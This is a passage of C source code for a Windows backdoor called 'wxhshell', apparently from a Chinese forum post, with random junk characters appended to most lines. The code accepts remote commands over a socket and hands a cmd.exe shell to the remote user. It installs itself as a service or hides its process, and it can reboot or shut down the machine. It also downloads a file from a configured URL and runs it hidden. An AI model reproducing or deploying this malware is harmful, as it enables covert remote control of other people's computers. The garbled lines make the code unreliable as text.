  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u|fXP)>.  
  } wC` R>)  
  else { /!T> b:0  
SlaDt  
    switch(cmd[0]) { CDdkoajBa  
  -^SA8y  
  // 帮助 c\.P/~  
  case '?': { ,.v7FM^gO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7bF*AYM  
    break; \#6Fm_b] u  
  } A-uB\ L  
  // 安装 98=la,^$  
  case 'i': { ?WFh',`:  
    if(Install()) | vu>;*K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8l>CR#%@C  
    else ' ~Q2!F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YI@Fhr &NU  
    break; =SBBvnPLI  
    } X?o( b/F -  
  // 卸载 o2uj =Gnx  
  case 'r': { z$[C#5+2  
    if(Uninstall()) >oJkJ$|wU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r;gP}H ?  
    else UtJa3ya  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `78V%\  
    break; .C bGDZ  
    } 1-VT}J(  
  // 显示 wxhshell 所在路径 fly,-$K>LO  
  case 'p': { 2R.2D'4)`  
    char svExeFile[MAX_PATH]; Vrp[r *V@E  
    strcpy(svExeFile,"\n\r"); 'C>U=cE7  
      strcat(svExeFile,ExeFile); ^p=L\SJ  
        send(wsh,svExeFile,strlen(svExeFile),0); xf,5R9g/  
    break; W?XizTW  
    } 1*Ar{:+ua  
  // 重启 `G$1n#&  
  case 'b': { .}`hCt08  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ig_2={Q@  
    if(Boot(REBOOT)) :i*JnlvZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )=^w3y  
    else { `<fh+*  
    closesocket(wsh); 9|W V~  
    ExitThread(0); HeA{3s  
    } OB^Tq~i  
    break; PQ U]l"A  
    } ,)fkr]`<  
  // 关机 !; v~^#M]~  
  case 'd': { )^O-X.1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x\@*6 0o  
    if(Boot(SHUTDOWN)) z@VP:au  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r\M9_s8  
    else { N "Wqy  
    closesocket(wsh); rg QEUDEQ  
    ExitThread(0); m~`>`4  
    } |$+5@+Zz  
    break; )TmtSSS  
    } 3,eIB(  
  // 获取shell ma& To=  
  case 's': { P0GeZ02]  
    CmdShell(wsh); ,FQK;BU!lh  
    closesocket(wsh); NAr1[{^E,  
    ExitThread(0); _GoVx=t   
    break; KL?)akk  
  } H+C6[W=  
  // 退出 L;6.r3bL  
  case 'x': { #AViM_u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xN0*8  
    CloseIt(wsh); V H^AcO  
    break; &KC!*}<tx  
    } XcfKx@l  
  // 离开 z2yJ#  
  case 'q': { M>H=z#C>/A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); my.`k'  
    closesocket(wsh); [_6&N.  
    WSACleanup(); 'mMjjG9  
    exit(1); }_OM$nzj  
    break; fI|[Z+"  
        } 1|Q vN1?  
  } 5g ;ac~g  
  } d/,E2i{I7  
\5><3*\  
  // 提示信息 NAFsFngqH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8cWZ"v  
} k|E]YvnfG  
  } 0ZI(/r  
RW7(r/C  
  return; 7C,T&g 1:  
} IB5BO7J  
-X1X)0v$  
// shell模块句柄 n!ok?=(kQ  
int CmdShell(SOCKET sock) SZ!=`a]  
{ [`_io>*g  
STARTUPINFO si; cma*Dc  
ZeroMemory(&si,sizeof(si)); -$a>f4]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0@=MOGQb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H AB#pd9  
PROCESS_INFORMATION ProcessInfo; eE8ULtO  
char cmdline[]="cmd"; uG J"!K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sd0r'jb  
  return 0; _YHu96H;  
} }IkQA#4$  
HZ"Evl|n  
// 自身启动模式 f-RK,#^?,  
int StartFromService(void) ]s1 YaNq  
{ a P()|js  
typedef struct ^ @=^;nB  
{ w!3>N"em  
  DWORD ExitStatus; 3:CO{=`\7B  
  DWORD PebBaseAddress; "HIXm  
  DWORD AffinityMask; % 4 ~l  
  DWORD BasePriority; >yK0iK{  
  ULONG UniqueProcessId; oduDA:  
  ULONG InheritedFromUniqueProcessId; y=sGe!^  
}   PROCESS_BASIC_INFORMATION;  lhLGG  
7v"lNP-?jU  
PROCNTQSIP NtQueryInformationProcess; 3sm M,fi  
": ;@Hnb/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i6PM<X,{;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '/%zi,0  
UVu DQ  
  HANDLE             hProcess; DPHQ,dkp  
  PROCESS_BASIC_INFORMATION pbi; ^>$P)=O:v  
]F*3"y?)2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^HA %q8| n  
  if(NULL == hInst ) return 0; X]*QUV]i  
VM=+afY5M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oR#:Nt X@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '\DSTr:N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HeN~c<NuB  
x^=M6;:  
  if (!NtQueryInformationProcess) return 0; &<x@1,  
Ukphd$3J=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qN| fEO>  
  if(!hProcess) return 0; VHUW]8We  
30cd| S?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &XLD S=j  
?w&SW{ I  
  CloseHandle(hProcess); wsfd8T4  
\}]iS C.2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |QZ 58)>  
if(hProcess==NULL) return 0; qv{o |g QB  
zsl,,gk9Y  
HMODULE hMod; aw $L$7b}  
char procName[255]; fZWGn6$   
unsigned long cbNeeded; rXi uwz\  
TCVl8)j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E@)\Lc~  
j -O2aL  
  CloseHandle(hProcess); Kp iF0K  
9h,u6e  
if(strstr(procName,"services")) return 1; // 以服务启动 5_o$<\I\  
]> !<G8 =N  
  return 0; // 注册表启动 h1"zV6U  
} J{"kw1Lu  
b!>\2DlyJ  
// 主模块 Vd9@Dy  
int StartWxhshell(LPSTR lpCmdLine) <eN R8(P  
{ 2ef;NC.&n  
  SOCKET wsl; UHO_Z  
BOOL val=TRUE; LJzH"K[Gg6  
  int port=0; 7 6fIC  
  struct sockaddr_in door; L#h:*U{@40  
vR7HF*8  
  if(wscfg.ws_autoins) Install(); m>&HuHf  
~4,I7c7  
port=atoi(lpCmdLine); ><?BqRm+  
`m~syKz4A  
if(port<=0) port=wscfg.ws_port; K`:=]Z8  
f6=w3RS  
  WSADATA data; D$e B ,~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x2VBm$>  
ww d'0P`/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,K9f_bv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t` ^ Vb-  
  door.sin_family = AF_INET; ,Fqz e/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pb;")Q'  
  door.sin_port = htons(port); (zo^Nn9VJ  
,2[ra9n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?[)S7\rP  
closesocket(wsl); r8MZvm2  
return 1; /i|z.nNO  
} ': F}3At  
Fw4*  
  if(listen(wsl,2) == INVALID_SOCKET) { 8Z#j7)G  
closesocket(wsl); eARk QV  
return 1; ZDLMMX x>  
} Bd0eC#UGkQ  
  Wxhshell(wsl); D #2yIec  
  WSACleanup(); zri} h/{  
/M0/-pV 9  
return 0; B\`Aojw"E?  
7hNb/O004  
} /L=(^k=a.;  
3HV%4nZLf  
// 以NT服务方式启动 yYJY;".H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Al"3 kRJJ  
{ P.WYTst=  
DWORD   status = 0; v@ C,RP9  
  DWORD   specificError = 0xfffffff; Eh8Pwt7C@  
2h~-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f?fKhu2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >%b\yl%0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SqPtWEq@P  
  serviceStatus.dwWin32ExitCode     = 0; B~WtZ-%%E  
  serviceStatus.dwServiceSpecificExitCode = 0; Dma.r  
  serviceStatus.dwCheckPoint       = 0; `\$8`Zb;  
  serviceStatus.dwWaitHint       = 0; pNaiXu3  
Y0uvT7+[hi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ` vk0c  
  if (hServiceStatusHandle==0) return; `d]Z)*9  
\y Hen|%  
status = GetLastError(); Q%=YM4;  
  if (status!=NO_ERROR) $+= <(*  
{ P~CrtTss  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pJpNO$$w  
    serviceStatus.dwCheckPoint       = 0; Gy29MUF  
    serviceStatus.dwWaitHint       = 0; !R{R??  
    serviceStatus.dwWin32ExitCode     = status; n[+'OU[  
    serviceStatus.dwServiceSpecificExitCode = specificError; $ACx*e%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oW}!vf3z  
    return; T`YwJ6N  
  } ]Tp U"JD  
H ZJL/=;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =C7 khE  
  serviceStatus.dwCheckPoint       = 0; pgc3jP!  
  serviceStatus.dwWaitHint       = 0; &K%aw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SOh-,c\C  
} h^|5|l  
z5cYyx r>  
// 处理NT服务事件,比如:启动、停止 &k>aP0k"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D> ef  
{ 2OBfHO~D  
switch(fdwControl) bi[7!VQf  
{ #B}?Zg  
case SERVICE_CONTROL_STOP: y2Bh?>pg  
  serviceStatus.dwWin32ExitCode = 0; :KE/!]z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +a)E|(cN  
  serviceStatus.dwCheckPoint   = 0; _kraMQ>  
  serviceStatus.dwWaitHint     = 0; "PWl4a&  
  { rj] E@W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zc5 :]]  
  } 9M$/=>^ Z  
  return; @s* ,xHE  
case SERVICE_CONTROL_PAUSE: dbGgD=}o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c$M%G)P  
  break; /Bv#) -5  
case SERVICE_CONTROL_CONTINUE: ETw]! br  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t%0?N<9YkU  
  break; I*)VZW  
case SERVICE_CONTROL_INTERROGATE: >9K//co"of  
  break; #;r]/)>  
}; 0&w0a P`Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }p3b#fAr  
} .(Y6$[#@  
Pe^ !$  
// 标准应用程序主函数 j'rS&BI G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dSK 0h(8  
{ u=K2Q4  
~UMOT!4}3  
// 获取操作系统版本 t8J/\f=  
OsIsNt=GetOsVer(); RVM&4#E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7!4V >O8@  
>.%4~\U  
  // 从命令行安装 Epjff@ 7A  
  if(strpbrk(lpCmdLine,"iI")) Install(); @PkJY  
vs9?+3  
  // 下载执行文件 Lk, +Tfk"  
if(wscfg.ws_downexe) { MgJ5B(c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]#eh&jw  
  WinExec(wscfg.ws_filenam,SW_HIDE); [/9(NUf  
} 8e:vWgQpL  
%vqT#+x  
if(!OsIsNt) { [1Dm<G u@  
// 如果时win9x,隐藏进程并且设置为注册表启动 MWwJzVL8  
HideProc(); 3(_!`0#F%  
StartWxhshell(lpCmdLine); )iE"Tl  
} BSUPS+@+  
else T_hV%   
  if(StartFromService()) !C&%T]  
  // 以服务方式启动 nB@UKX  
  StartServiceCtrlDispatcher(DispatchTable); $[CA&Y.  
else l gq=GHW  
  // 普通方式启动 p8>%Mflf  
  StartWxhshell(lpCmdLine); &r_uQbx  
TUTe9;)  
return 0; |r =DBd3  
}
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只看该作者 1 发表于: 2006-10-10
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